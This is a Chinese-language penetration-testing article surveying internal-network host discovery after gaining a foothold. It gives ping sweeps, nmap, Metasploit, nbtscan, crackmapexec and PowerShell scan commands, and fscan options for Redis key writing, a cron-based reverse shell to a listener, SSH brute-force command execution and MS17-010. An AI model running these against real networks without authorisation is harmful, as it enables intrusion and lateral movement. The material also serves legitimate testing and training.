内网主机探测工具合集

电子说

1.3w人已加入

描述

 

 

前言

在拿下通内网的主机权限后,普遍需要更进一步的收集内网信息,此时如何有效快速的探测内网存活主机关系到我们下一步的进展情况。当然自从有了Fscan后,我们的效率已经大大提高,不过在某些情况下fscan有时会无法正常探测,此时如何使用其他方法有效地收集内网信息成了关键,这篇文章主要记录一下在不同环境、不同条件下探测内网存活主机的方法。

内网主机探测的不同场景

我们主机扫描的场景主要分为三种:

1、获取到了webshell,此时一般用系统命令或上传脚本工具进行探测;

2、主机已在目标内网,比如已经通过正向或者反向代理搭建隧道的场景。此时可以考虑proxychains+Nmap扫描;

3、拿到了一个反弹的webshell,则可以考虑MSF。要根据不同的场景考虑支持存活探测的协议,包括了ARP、ICMP、SMB、 UDP、SNMP协议等;支持端口扫描的方式,包括TCP扫描、UDP扫描、ICMP扫描等。

内网不同协议主机探测的方式

ICMP协议探测

它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

ping

ping是我们一个常用工具,主要用来测试网络连通性。也可以用它来完成对C段的探测,虽然效率低时间慢,但是不易出发安全规则。(服务器开启防火墙或者禁ping的时候不可用,否则影响探测结果)

• Windows

 for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="

 

数据包

这是我在CS里执行的ping命令,可以看到c段内有两台主机存活 也可以写进文件里,方便后续查看。写进C盘的话需要administer权限,可以考虑更换盘符

@for/l %i in (1,1,255do @ping -n 1 -w 40 192.168.1.%i & if errorlevel 1 (echo192.168.1.%i>>./a.txt) else (echo 192.168.1.%i >>./111.txt)

Linux

for k in $( seq 1 255);do ping -c 1 10.211.55.|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

 

数据包

另外,还可以结合系统自带的traceroute、arp 、netstat等命令收集内网信息,curl、wget可以用来做端口探测

nmap

nmap ‐sP ‐PI 192.168.1.0/24 ‐T4
#或者
nmap ‐sn ‐PE ‐T4 192.168.1.0/24

 

数据包

UDP协议探测

Internet 协议集支持一个无连接的传输协议,该协议称为用户数据报协议(UDP,User Datagram Protocol)。UDP 为应用程序提供了一种无需建立连接就可以发送封装的 IP 数据包的方法。

Msf

msf > use auxiliary/scanner/discovery/udp_probe
或者
msf > use auxiliary/scanner/discovery/udp_sweep

 

数据包

nmap

sudo nmap -sU -T5 -sV --max-retries 1 10.211.55.5 -p 500

 

数据包

unicornscan(Linux下使用)

unicornscan -mU 10.255.55.5

ScanLine(Windows下使用)

sl.exe -h -u 53,161,137,139 -O C:UsersAdministratorDes
ktoplog.txt -p 192.168.1.1-254

 

数据包

Netbios协议

NetBIOS协议是由IBM公司开发,主要用于数十台计算机的小型局域网。NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在NetBIOS协议的基础上工作的。

nmap

sudo nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
数据包

MSF

use auxiliary/scanner/netbios/nbname

 

数据包

nbtscan扫描

互联网搜索引擎nbtscan是一个扫描WINDOWS网络NetBIOS信息的小工具,2005年11月23日发布。NBTSCAN身材娇小,简单快速。但只能用于局域网,可以显示IP,主机名,用户名称和MAC地址等等。

下载地址:
http://www.unixwiz.net/tools/nbtscan.html#download
以Windows用法为例:nbtscan-1.0.35.exe -m 10.211.55.0/24

 

数据包

ARP协议

这是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。

nmap

nmap -sn -PR 10.211.55.1/24

数据包

MSF

use auxiliary/scanner/discovery/arp_sweep

 

数据包

netdiscover

Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。

sudo netdiscover -r 10.211.55.0/24 -i eth0

 

数据包

arp-scan

可以看到这工具扫描速度挺快的

sudo arp-scan --interface=eth0 --localnet

 

数据包

SMB协议

SMB(Server Message Block)通信协议是微软和英特尔在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。

Msf

use auxiliary/scanner/smb/smb_version

 

数据包

nmap

nmap -sU -sS --script smb-enum-shares.nse  -p 445 10.211.55.3

 

数据包通过cmd
for /l %a in (1,1,254) do start /min /low telnet 10.211.55.%a 445

crackmapexec

CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。其缔造者@byt3bl33d3r称,该工具的生存概念是,“利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。”

cme smb 10.211.55.0/24

SNMP协议

SNMP 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,它是一种应用层协议。SNMP 使网络管理员能够管理网络效能,发现并解决网络问题以及规划网络增长。通过 SNMP 接收随机消息(及事件报告)网络管理系统获知网络出现问题。

nmap

sudo nmap -sU --script snmp-brute 10.211.55.0/24 -T4

 

数据包

Msf

use auxiliary/scanner/snmp/snmp_enum
数据包

snmp for pl

这些 perl 脚本用于从目标系统中提取 SNMP 数据并解析这些文件以获取潜在的可用数据。

项目地址:https://github.com/dheiland-r7/snmp

这个工具在使用前需要编译,这里参考网上大佬的教程

wget http://www.cpan.org/modules/by-module/NetAddr/NetAddr-IP-4.078.tar.gz
tar xvzf ./NetAddr-IP-4.078.tar.gz
cd NetAddr-IP-4.078/
perl Makefile.PL
make
make install

 

数据包
使用方法:./snmpbw.pl 192.168.0.1 public 2 1
 ./snmpbw.pl ipfile.txt  public 2 4

 

数据包

常见的一些其它工具

Fscan

这个就不多介绍了,太常见

fscan -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)

 

通过powershell脚本扫描IP地址存活

这里列举几个项目地址:

https://github.com/nettitude/PoshC2_Old/blob/master/Modules/Invoke-Arpscan.ps1
https://github.com/dwj7738/My-Powershell-Repository/blob/master/Scripts/Invoke-TSPingSweep.ps1

使用方法:

powershell.exe -exec bypass -Command "Import-Module .arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
  此外,还可以用powershell实现基本的端口扫描功能

针对单个IP的多个端口的扫描

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null

 

数据包针对单个IP的多个端口的扫描
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.3",$_)) "Port $_ is open!"} 2>$null
数据包针对某IP段 & 多个端口的扫描
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.211.55.$a",$_)) "Port $_ is open!"} 2>$null}
数据包

PTscan

PTscan(Phantom scanner) 是一款界面友好的轻量级web应用资产扫描器,适合于内网渗透测试环境下web的资产快捷识别,只需Python环境,无需第三方扩展库,扫描结果使用zoomeye网页样式。
PTscan参考了F-NAScan的设计思路,在其基础上修改而成,把程序重心放在WEB扫描和识别功能上。
使用方法:

Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306]  [-m 50] [-t 10] [-n] [-b] [-r]
##
-f  指定扫描目标文件,文件格式如list.txt所示,同时支持IP和URL
-h  指定扫描IP或IP段,支持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段
-p  指定扫描端口,缺省使用程序中的配置端口
-m  指定线程数
-t  指定timeout
-n  不进行ping操作,直接扫描
-b  开启Banner识别

-r ReverseIP



审核编辑 :李倩

 


打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分